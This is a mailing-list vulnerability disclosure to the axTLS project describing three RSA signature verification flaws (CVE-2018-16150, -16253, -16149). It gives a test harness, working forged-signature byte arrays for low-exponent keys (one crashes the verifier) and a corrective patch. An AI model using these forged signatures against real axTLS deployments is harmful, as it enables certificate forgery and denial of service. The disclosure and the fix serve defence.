[axtls-general] Problems of PKCS#1 v1.5 RSA Signature Verification
Brought to you by:
cameronrich
From: Sze Y. C. <sc...@pu...> - 2018-11-05 23:03:25
|
For some reason, my first email had some text flow issues. Hopefully this one reads better. ------------- Hi, We recently investigated the signature verification code of axTLS, and have found some exploitable flaws in it. Our findings were based on v2.1.3 but should also be applicable to v2.1.4. We found that the signature parsing code of axTLS is focused on moving the pointer to the beginning of the hash value (ASN.1 type OTCET STRING), without imposing a lot of checks, making it potentially vulnerable to various brute-force attacks given a low-exponent public key. We first found that axTLS accepts signatures containing trailing bytes after the hash value, in order words, it does not enforce the requirement on the length of padding bytes, a classical flaw previously found in other libraries. This could enable a practical brute-force signature forgery attack given a small public exponent. CVE-2018-16150 has been reserved for this issue. On top of that, we found that the implementation also ignores the prefix bytes, meaning that the first 10 bytes of the signature can take arbitrarily any values (see sig_verify() in x509.c). This makes a brute-force signature forgery attack under low-exponent potentially even easier. Here is a code snippet that might demonstrate the problems: // this is to mimic how sig_verify() is being called, based on // int x509_verify() in ssl/x509.c int x509_verify_mimic(uint8_t *digest, int digest_len, uint8_t *signature, int sig_len, uint8_t *modulus, int mod_len, uint8_t *pub_exp, int pub_exp_len) { int ret = X509_OK; BI_CTX *bi_ctx = bi_initialize(); bigint *bi_digest = bi_import(bi_ctx, digest, digest_len); bigint *mod = bi_import(bi_ctx, modulus, mod_len); bigint *expn = bi_import(bi_ctx, pub_exp, pub_exp_len); bigint *cert_sig = NULL; /* check the signature */ cert_sig = sig_verify(bi_ctx, signature, sig_len, bi_clone(bi_ctx, mod), bi_clone(bi_ctx, expn)); if (cert_sig && bi_digest) { if (bi_compare(cert_sig, bi_digest) != 0) ret = X509_VFY_ERROR_BAD_SIGNATURE; bi_free(bi_ctx, cert_sig); } else { ret = X509_VFY_ERROR_BAD_SIGNATURE; } if (ret) goto end_verify; end_verify: return ret; } uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x06, 0xf9, 0x20, 0x3c, 0x7a, 0x92, 0xc6, 0xff, 0xf3, 0x0c, 0x75, 0x31, 0xb9, 0x69, 0xa0, 0x0c, 0x98, 0xfc, 0x03, 0x31, 0x91, 0xe0, 0xd4, 0x2c, 0x19, 0x90, 0xc4, 0x90, 0x26, 0x4b, 0xa4, 0xd4, 0x83, 0x6e }; uint8_t digestBytes[] = { // SHA-256("65536") 0x0f, 0x25, 0x5e, 0xc1, 0x64, 0x82, 0xc3, 0x43, 0xfd, 0x09, 0x9b, 0xa9, 0x66, 0x88, 0x63, 0x77, 0x8b, 0xe4, 0x0d, 0xc1, 0x66, 0xa6, 0x85, 0x6b, 0x1d, 0x47, 0x0e, 0x0b, 0xc9, 0x7c, 0xc6, 0xfd }; /* if the low-exponent attk is successful, this should not matter */ uint8_t modulusBytes[] = { /* choose any 1024-bit moduli */ }; /* low-exponent ... let's say e = 3 */ uint8_t pubExpBytes[] = { 0x03 }; ret_val = x509_verify_mimic(digestBytes, sizeof(digestBytes), atk_signature, sizeof(atk_signature), modulusBytes, sizeof(modulusBytes), pubExpBytes, sizeof(pubExpBytes) ); The fake signature for SHA-256("65536") is in atk_signature[]. This should work against any 1024-bit moduli as long as e = 3. Moreover, we found that it also does not check the algorithm OID as well as the algorithm parameters when parsing the signature. In fact, it seems to skip the entire ASN.1 prefix before it reaches the beginning of the hash value (see get_signature() in x509.c), which again makes a brute-force signature forgery under low-exponent even easier. CVE-2018-16253 has been reserved for this issue, which can be exploited separately to forge fake signatures. Here is another proof-of-concept fake signature, with the hash being SHA-1("hello world"): uint8_t atk_signature[] = { // SHA-1("hello world") 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x42 , 0x8a , 0x2f , 0x98 , 0xd7 , 0x28 , 0xae , 0x22 , 0x08 , 0x23 , 0x2c , 0x5f , 0x47 , 0x20 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x75 , 0xce , 0x9a , 0x6b , 0x9e , 0xbc , 0xb8 , 0x0e , 0x72 , 0x18 , 0x1b , 0x48 , 0x5e , 0x24 , 0x9b , 0x96 , 0x52 , 0x4e , 0xca , 0xcc , 0xb8 , 0x55 }; Finally, we found that by putting some absurd values in the various ASN.1 lengths bytes, one can try to trick the code into reading from illegal memory addresses and potentially crash the verifier. This is because given the various lengths in the ASN.1 structure, the code is too trusting in the sense that it uses the declared values directly without sanity checks. Considering the possibility of low-exponents, the ASN.1 lengths could potentially be under adversarial control, and should perhaps be taken carefully. CVE-2018-16149 has been reserved for this issue. Here's another fake signature (against any 1024-bit moduli and e = 3) that declares an absurdly long length for the hash value, which on my machine, crashed the verifier when sig_verify() calls bi_import(): uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x6c, 0xbc, 0xc2, 0x3b, 0x89, 0x2f, 0x3d, 0x3d, 0xab, 0xf1, 0x00, 0x6a, 0x11, 0x6e, 0x0f, 0xce, 0x9a, 0xde, 0x8d, 0xec, 0x4f, 0x75, 0x57, 0x64, 0xfc, 0xd0, 0x17, 0xe4, 0x3a, 0x69, 0x85, 0xdc, 0x8e, 0x9e }; Such a potential DoS attack against axTLS seems to be even easier to mount than a signature forgery, as the number of bytes that need to match for a successful attack is much smaller, and the fact that axTLS verifies certificate chains in a bottom-up manner also contributes to an attacker's advantage: even if low-exponent public keys are not commonly found in the wild nowadays, one can purposefully introduce an intermediate CA certificate that uses a low-exponent as the j-th one in the chain, and forge a signature containing absurd length values as described above and put it on the (j+1)-th certificate. Due to the bottom-up verification, before the code traverses up the chain and attempt to verify the j-th certificate against the (j-1)-th one, it would have already processed the malicious signature on the (j+1)-th certificate and performed some illegal memory access. Given that there seems to be performance incentives in using low-exponent public keys with resource-constrained platforms that axTLS targets, perhaps it would be better to harden the code when it comes to RSA signature verification, and not rely on certificate issuers to disallow small public exponents. Fortunately, these problems are not all that difficult to fix. One possibility is to move away from parsing the meta-data and instead hard-code expected values. Here is a patch that we have prepared, based on axTLS-2.1.3. It should be easily adaptable to the latest v2.1.4. A ESP8266 port of axTLS has already accepted this patch, as shown in https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c --- /tmp/axtls-code/ssl/x509.c +++ /tmp/axTLS-2.1.3/ssl/x509.c @@ -48,28 +48,6 @@ X509_CTX *x509_ctx); static int x509_v3_key_usage(const uint8_t *cert, int offset, X509_CTX *x509_ctx); - -/** - * Retrieve the signature from a certificate. - */ -static const uint8_t *get_signature(const uint8_t *asn1_sig, int *len) -{ - int offset = 0; - const uint8_t *ptr = NULL; - - if (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || - asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE)) - goto end_get_sig; - - if (asn1_sig[offset++] != ASN1_OCTET_STRING) - goto end_get_sig; - *len = get_asn1_length(asn1_sig, &offset); - ptr = &asn1_sig[offset]; /* all ok */ - -end_get_sig: - return ptr; -} - #endif /** @@ -361,17 +339,58 @@ } #ifdef CONFIG_SSL_CERT_VERIFICATION + +static const uint8_t sig_prefix_md5[] = {0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10}; +static const uint8_t sig_prefix_sha1[] = {0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14}; +static const uint8_t sig_prefix_sha256[] = {0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20}; +static const uint8_t sig_prefix_sha384[] = {0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x02, 0x05, 0x00, 0x04, 0x30}; +static const uint8_t sig_prefix_sha512[] = {0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, 0x00, 0x04, 0x40}; + /** * Take a signature and decrypt it. */ -static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, +static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, uint8_t sig_type, bigint *modulus, bigint *pub_exp) { - int i, size; + int i; bigint *decrypted_bi, *dat_bi; bigint *bir = NULL; uint8_t *block = (uint8_t *)alloca(sig_len); + const uint8_t *sig_prefix = NULL; + uint8_t sig_prefix_size = 0, hash_len = 0; + /* adjust our expections */ + switch (sig_type) + { + case SIG_TYPE_MD5: + sig_prefix = sig_prefix_md5; + sig_prefix_size = sizeof(sig_prefix_md5); + break; + case SIG_TYPE_SHA1: + sig_prefix = sig_prefix_sha1; + sig_prefix_size = sizeof(sig_prefix_sha1); + break; + case SIG_TYPE_SHA256: + sig_prefix = sig_prefix_sha256; + sig_prefix_size = sizeof(sig_prefix_sha256); + break; + case SIG_TYPE_SHA384: + sig_prefix = sig_prefix_sha384; + sig_prefix_size = sizeof(sig_prefix_sha384); + break; + case SIG_TYPE_SHA512: + sig_prefix = sig_prefix_sha512; + sig_prefix_size = sizeof(sig_prefix_sha512); + break; + } + if (sig_prefix) + hash_len = sig_prefix[sig_prefix_size - 1]; + + /* check length (#A) */ + if (sig_len < 2 + 8 + 1 + sig_prefix_size + hash_len) + goto err; + + /* decrypt */ dat_bi = bi_import(ctx, sig, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; @@ -382,22 +401,30 @@ bi_export(ctx, decrypted_bi, block, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; - i = 10; /* start at the first possible non-padded byte */ - while (block[i++] && i < sig_len); - size = sig_len - i; - - /* get only the bit we want */ - if (size > 0) - { - int len; - const uint8_t *sig_ptr = get_signature(&block[i], &len); - - if (sig_ptr) - { - bir = bi_import(ctx, sig_ptr, len); - } - } - + /* check the first 2 bytes */ + if (block[0] != 0 || block[1] != 1) + goto err; + + /* check the padding */ + i = 2; /* start at the first padding byte */ + while (i < sig_len - 1 - sig_prefix_size - hash_len) + { /* together with (#A), we require at least 8 bytes of padding */ + if (block[i++] != 0xFF) + goto err; + } + + /* check end of padding */ + if (block[i++] != 0) + goto err; + + /* check the ASN.1 metadata */ + if (memcmp(block+i, sig_prefix, sig_prefix_size)) + goto err; + + /* now we can get the hash we need */ + bir = bi_import(ctx, block + i + sig_prefix_size, hash_len); + +err: /* save a few bytes of memory */ bi_clear_cache(ctx); return bir; @@ -549,7 +576,7 @@ } /* check the signature */ - cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, + cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, cert->sig_type, bi_clone(ctx, mod), bi_clone(ctx, expn)); if (cert_sig && cert->digest) Best regards, Sze Yiu |